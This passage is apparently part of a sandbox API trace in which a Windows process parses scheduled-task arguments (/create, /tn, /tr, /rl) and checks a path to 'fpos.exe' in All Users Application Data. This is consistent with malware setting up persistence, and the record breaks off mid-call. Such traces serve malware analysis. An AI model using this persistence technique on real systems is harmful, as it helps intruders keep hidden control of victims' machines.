_Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.022] lstrlenW (lpString="|m|") returned 3 [0086.022] lstrlenW (lpString="|tr|") returned 4 [0086.022] SetLastError (dwErrCode=0x490) [0086.022] lstrlenW (lpString="i") returned 1 [0086.022] lstrlenW (lpString="i") returned 1 [0086.022] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.022] lstrlenW (lpString="tr") returned 2 [0086.022] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.022] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|i|") returned 3 [0086.022] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.022] lstrlenW (lpString="|i|") returned 3 [0086.022] lstrlenW (lpString="|tr|") returned 4 [0086.022] SetLastError (dwErrCode=0x490) [0086.022] lstrlenW (lpString="tn") returned 2 [0086.023] lstrlenW (lpString="tn") returned 2 [0086.023] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.023] lstrlenW (lpString="tr") returned 2 [0086.023] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.023] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.023] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.023] lstrlenW (lpString="|tn|") returned 4 [0086.023] lstrlenW (lpString="|tr|") returned 4 [0086.023] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0086.023] SetLastError (dwErrCode=0x490) [0086.023] lstrlenW (lpString="tr") returned 2 [0086.023] lstrlenW (lpString="tr") returned 2 [0086.023] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.023] lstrlenW (lpString="tr") returned 2 [0086.023] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.023] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.023] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.023] lstrlenW (lpString="|tr|") returned 4 [0086.023] lstrlenW (lpString="|tr|") returned 4 [0086.023] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0086.023] SetLastError (dwErrCode=0x0) [0086.023] SetLastError (dwErrCode=0x0) [0086.023] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.023] lstrlenW (lpString="-/") returned 2 [0086.024] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.024] SetLastError (dwErrCode=0x490) [0086.024] SetLastError (dwErrCode=0x490) [0086.024] SetLastError (dwErrCode=0x0) [0086.024] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.024] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0086.024] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.024] _memicmp (_Buf1=0x6c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.024] _memicmp (_Buf1=0x6d640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.024] SetLastError (dwErrCode=0x7a) [0086.024] SetLastError (dwErrCode=0x0) [0086.024] SetLastError (dwErrCode=0x0) [0086.024] lstrlenW (lpString="'C") returned 2 [0086.024] lstrlenW (lpString="-/") returned 2 [0086.024] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.024] SetLastError (dwErrCode=0x490) [0086.024] SetLastError (dwErrCode=0x490) [0086.024] SetLastError (dwErrCode=0x0) [0086.024] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.024] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.024] GetProcessHeap () returned 0x50000 [0086.024] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0) returned 1 [0086.024] GetProcessHeap () returned 0x50000 [0086.024] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6d6c0, Size=0x5e) returned 0x6c3b0 [0086.024] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.025] lstrlenW (lpString=" \x09") returned 2 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0086.025] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.025] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0086.026] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.026] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.093] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0086.093] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.231] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.231] GetLastError () returned 0x0 [0086.231] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.231] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.231] SetLastError (dwErrCode=0x0) [0086.231] SetLastError (dwErrCode=0x0) [0086.232] lstrlenW (lpString="/rl") returned 3 [0086.232] lstrlenW (lpString="-/") returned 2 [0086.232] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.232] lstrlenW (lpString="create") returned 6 [0086.232] lstrlenW (lpString="create") returned 6 [0086.232] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.232] lstrlenW (lpString="rl") returned 2 [0086.232] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.232] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.232] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.232] lstrlenW (lpString="|create|") returned 8 [0086.232] lstrlenW (lpString="|rl|") returned 4 [0086.232] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0086.232] SetLastError (dwErrCode=0x490) [0086.232] lstrlenW (lpString="?") returned 1 [0086.232] lstrlenW (lpString="?") returned 1 [0086.232] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.232] lstrlenW (lpString="rl") returned 2 [0086.232] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.232] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|?|") returned 3 [0086.232] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.232] lstrlenW (lpString="|?|") returned 3 [0086.232] lstrlenW (lpString="|rl|") returned 4 [0086.233] SetLastError (dwErrCode=0x490) [0086.233] lstrlenW (lpString="s") returned 1 [0086.233] lstrlenW (lpString="s") returned 1 [0086.233] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.233] lstrlenW (lpString="rl") returned 2 [0086.233] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.233] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|s|") returned 3 [0086.233] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.233] lstrlenW (lpString="|s|") returned 3 [0086.233] lstrlenW (lpString="|rl|") returned 4 [0086.233] SetLastError (dwErrCode=0x490) [0086.233] lstrlenW (lpString="u") returned 1 [0086.233] lstrlenW (lpString="u") returned 1 [0086.233] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.233] lstrlenW (lpString="rl") returned 2 [0086.233] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.233] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|u|") returned 3 [0086.233] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.233] lstrlenW (lpString="|u|") returned 3 [0086.233] lstrlenW (lpString="|rl|") returned 4 [0086.233] SetLastError (dwErrCode=0x490) [0086.233] lstrlenW (lpString="p") returned 1 [0086.233] lstrlenW (lpString="p") returned 1 [0086.233] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.234] lstrlenW (lpString="rl") returned 2 [0086.234] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.234] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|p|") returned 3 [0086.234] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.234] lstrlenW (lpString="|p|") returned 3 [0086.234] lstrlenW (lpString="|rl|") returned 4 [0086.234] SetLastError (dwErrCode=0x490) [0086.234] lstrlenW (lpString="ru") returned 2 [0086.234] lstrlenW (lpString="ru") returned 2 [0086.234] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.234] lstrlenW (lpString="rl") returned 2 [0086.234] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.234] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ru|") returned 4 [0086.234] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.234] lstrlenW (lpString="|ru|") returned 4 [0086.234] lstrlenW (lpString="|rl|") returned 4 [0086.234] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0086.234] SetLastError (dwErrCode=0x490) [0086.234] lstrlenW (lpString="rp") returned 2 [0086.234] lstrlenW (lpString="rp") returned 2 [0086.234] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.234] lstrlenW (lpString="rl") returned 2 [0086.234] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.235] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rp|") returned 4 [0086.235] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.235] lstrlenW (lpString="|rp|") returned 4 [0086.235] lstrlenW (lpString="|rl|") returned 4 [0086.235] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0086.235] SetLastError (dwErrCode=0x490) [0086.235] lstrlenW (lpString="sc") returned 2 [0086.235] lstrlenW (lpString="sc") returned 2 [0086.235] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.235] lstrlenW (lpString="rl") returned 2 [0086.235] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.235] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.235] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.235] lstrlenW (lpString="|sc|") returned 4 [0086.235] lstrlenW (lpString="|rl|") returned 4 [0086.235] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0086.235] SetLastError (dwErrCode=0x490) [0086.235] lstrlenW (lpString="mo") returned 2 [0086.235] lstrlenW (lpString="mo") returned 2 [0086.235] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.235] lstrlenW (lpString="rl") returned 2 [0086.235] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.235] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|mo|") returned 4 [0086.235] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.236] lstrlenW (lpString="|mo|") returned 4 [0086.236] lstrlenW (lpString="|rl|") returned 4 [0086.236] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0086.236] SetLastError (dwErrCode=0x490) [0086.236] lstrlenW (lpString="d") returned 1 [0086.236] lstrlenW (lpString="d") returned 1 [0086.236] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.236] lstrlenW (lpString="rl") returned 2 [0086.236] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.236] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|d|") returned 3 [0086.236] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.236] lstrlenW (lpString="|d|") returned 3 [0086.236] lstrlenW (lpString="|rl|") returned 4 [0086.236] SetLastError (dwErrCode=0x490) [0086.236] lstrlenW (lpString="m") returned 1 [0086.236] lstrlenW (lpString="m") returned 1 [0086.236] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.236] lstrlenW (lpString="rl") returned 2 [0086.236] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.236] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|m|") returned 3 [0086.236] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.236] lstrlenW (lpString="|m|") returned 3 [0086.236] lstrlenW (lpString="|rl|") returned 4 [0086.236] SetLastError (dwErrCode=0x490) [0086.237] lstrlenW (lpString="i") returned 1 [0086.237] lstrlenW (lpString="i") returned 1 [0086.237] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.237] lstrlenW (lpString="rl") returned 2 [0086.237] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.237] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|i|") returned 3 [0086.237] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.237] lstrlenW (lpString="|i|") returned 3 [0086.237] lstrlenW (lpString="|rl|") returned 4 [0086.237] SetLastError (dwErrCode=0x490) [0086.237] lstrlenW (lpString="tn") returned 2 [0086.237] lstrlenW (lpString="tn") returned 2 [0086.237] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.237] lstrlenW (lpString="rl") returned 2 [0086.237] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.237] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.237] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.237] lstrlenW (lpString="|tn|") returned 4 [0086.237] lstrlenW (lpString="|rl|") returned 4 [0086.237] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0086.237] SetLastError (dwErrCode=0x490) [0086.237] lstrlenW (lpString="tr") returned 2 [0086.237] lstrlenW (lpString="tr") returned 2 [0086.237] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.238] lstrlenW (lpString="rl") returned 2 [0086.238] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.238] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.238] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.238] lstrlenW (lpString="|tr|") returned 4 [0086.238] lstrlenW (lpString="|rl|") returned 4 [0086.238] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0086.238] SetLastError (dwErrCode=0x490) [0086.238] lstrlenW (lpString="st") returned 2 [0086.238] lstrlenW (lpString="st") returned 2 [0086.238] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.238] lstrlenW (lpString="rl") returned 2 [0086.238] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.238] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|st|") returned 4 [0086.239] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.239] lstrlenW (lpString="|st|") returned 4 [0086.239] lstrlenW (lpString="|rl|") returned 4 [0086.239] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0086.239] SetLastError (dwErrCode=0x490) [0086.239] lstrlenW (lpString="sd") returned 2 [0086.239] lstrlenW (lpString="sd") returned 2 [0086.239] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.239] lstrlenW (lpString="rl") returned 2 [0086.239] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.239] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sd|") returned 4 [0086.239] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.239] lstrlenW (lpString="|sd|") returned 4 [0086.239] lstrlenW (lpString="|rl|") returned 4 [0086.239] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0086.239] SetLastError (dwErrCode=0x490) [0086.239] lstrlenW (lpString="ed") returned 2 [0086.239] lstrlenW (lpString="ed") returned 2 [0086.239] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.239] lstrlenW (lpString="rl") returned 2 [0086.239] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.239] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ed|") returned 4 [0086.239] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.239] lstrlenW (lpString="|ed|") returned 4 [0086.239] lstrlenW (lpString="|rl|") returned 4 [0086.240] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0086.240] SetLastError (dwErrCode=0x490) [0086.240] lstrlenW (lpString="it") returned 2 [0086.240] lstrlenW (lpString="it") returned 2 [0086.240] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.240] lstrlenW (lpString="rl") returned 2 [0086.240] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.240] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|it|") returned 4 [0086.240] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.240] lstrlenW (lpString="|it|") returned 4 [0086.240] lstrlenW (lpString="|rl|") returned 4 [0086.240] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0086.240] SetLastError (dwErrCode=0x490) [0086.240] lstrlenW (lpString="et") returned 2 [0086.240] lstrlenW (lpString="et") returned 2 [0086.240] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.240] lstrlenW (lpString="rl") returned 2 [0086.240] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.240] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|et|") returned 4 [0086.240] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.240] lstrlenW (lpString="|et|") returned 4 [0086.240] lstrlenW (lpString="|rl|") returned 4 [0086.240] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0086.240] SetLastError (dwErrCode=0x490) [0086.240] lstrlenW (lpString="k") returned 1 [0086.241] lstrlenW (lpString="k") returned 1 [0086.241] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.241] lstrlenW (lpString="rl") returned 2 [0086.241] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.241] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|k|") returned 3 [0086.241] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.241] lstrlenW (lpString="|k|") returned 3 [0086.241] lstrlenW (lpString="|rl|") returned 4 [0086.241] SetLastError (dwErrCode=0x490) [0086.241] lstrlenW (lpString="du") returned 2 [0086.241] lstrlenW (lpString="du") returned 2 [0086.241] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.241] lstrlenW (lpString="rl") returned 2 [0086.241] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.241] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|du|") returned 4 [0086.241] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.241] lstrlenW (lpString="|du|") returned 4 [0086.241] lstrlenW (lpString="|rl|") returned 4 [0086.241] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0086.241] SetLastError (dwErrCode=0x490) [0086.241] lstrlenW (lpString="ri") returned 2 [0086.241] lstrlenW (lpString="ri") returned 2 [0086.241] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.241] lstrlenW (lpString="rl") returned 2 [0086.241] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ri|") returned 4 [0086.242] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.242] lstrlenW (lpString="|ri|") returned 4 [0086.242] lstrlenW (lpString="|rl|") returned 4 [0086.242] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0086.242] SetLastError (dwErrCode=0x490) [0086.242] lstrlenW (lpString="z") returned 1 [0086.242] lstrlenW (lpString="z") returned 1 [0086.242] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] lstrlenW (lpString="rl") returned 2 [0086.242] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|z|") returned 3 [0086.242] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.242] lstrlenW (lpString="|z|") returned 3 [0086.242] lstrlenW (lpString="|rl|") returned 4 [0086.242] SetLastError (dwErrCode=0x490) [0086.242] lstrlenW (lpString="f") returned 1 [0086.242] lstrlenW (lpString="f") returned 1 [0086.242] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] lstrlenW (lpString="rl") returned 2 [0086.242] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.242] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.242] lstrlenW (lpString="|f|") returned 3 [0086.242] lstrlenW (lpString="|rl|") returned 4 [0086.242] SetLastError 